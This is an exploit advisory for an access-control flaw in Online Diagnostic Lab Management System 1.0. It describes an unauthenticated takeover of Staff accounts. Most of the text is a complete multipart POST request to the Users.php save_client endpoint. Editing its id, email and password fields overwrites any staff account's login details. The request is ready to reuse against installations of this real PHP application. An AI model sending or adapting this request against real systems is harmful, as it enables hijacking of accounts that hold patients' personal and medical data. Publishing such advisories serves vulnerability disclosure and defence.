Online Diagnostic Lab Management System 1.0 Missing Access Control

`#Exploit Title: Online Diagnostic Lab Management System 1.0 - Account Takeover (Unauthenticated)  
#Date: 11/01/2022  
#Exploit Author: Himash  
#Vendor Homepage: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html  
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/odlms.zip  
#Version: 1.0  
#Tested on: Kali Linux  
  
  
Online Diagnostic Lab Management System 1.0 is vulnerable to unauthenticated account takeover.  
An attacker can takeover any registered 'Staff' user account by just sending below POST request  
By changing the the "id", "email", "password" and "cpass" parameters.   
  
#Steps to Reproduce  
  
1. Send the below POST request by changing "id", "email", "password" and "cpass" parameters.  
  
2. Log in to the user account by changed email and password.  
  
POST /odlms/classes/Users.php?f=save_client HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------218422725412817326673495861673  
Content-Length: 1551  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/odlms/?page=user  
Cookie: PHPSESSID=b17cc4d8837f564fc77d7b3e49b00d1e  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="id"  
  
2  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="firstname"  
  
Claire  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="middlename"  
  
C  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="lastname"  
  
Blake  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="gender"  
  
Female  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="dob"  
  
1997-10-14  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="contact"  
  
09456789123  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="address"  
  
Sample Address only  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="email"  
  
[email protected]  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="password"  
  
Test@1234  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="cpass"  
  
Test@1234  
-----------------------------218422725412817326673495861673  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------218422725412817326673495861673--  
  
`